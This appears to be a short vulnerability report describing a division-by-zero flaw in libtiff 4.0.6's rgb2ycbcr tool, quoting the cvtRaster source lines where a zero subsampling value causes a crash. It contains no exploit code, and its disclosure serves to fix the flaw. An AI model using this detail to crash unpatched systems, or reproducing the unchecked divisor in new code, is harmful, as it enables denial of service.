Introduction
============

Division by zero occurs in rgb2ycbcr in libtiff-4.0.6 allows attackers to cause
a denial of service when the param v or param h was set to 0.


libtiff-master/libtiff/rgb2ycbcr.c:256-257

250 cvtRaster(TIFF* tif, uint32* raster, uint32 width, uint32 height)
251 {
252         uint32 y;
253         tstrip_t strip = 0;
254         tsize_t cc, acc;
255         unsigned char* buf;
256         uint32 rwidth = roundup(width, horizSubSampling);
257         uint32 rheight = roundup(height, vertSubSampling);
258         uint32 nrows = (rowsperstrip > rheight ? rheight : rowsperstrip);


gdb rgb2ycbcr
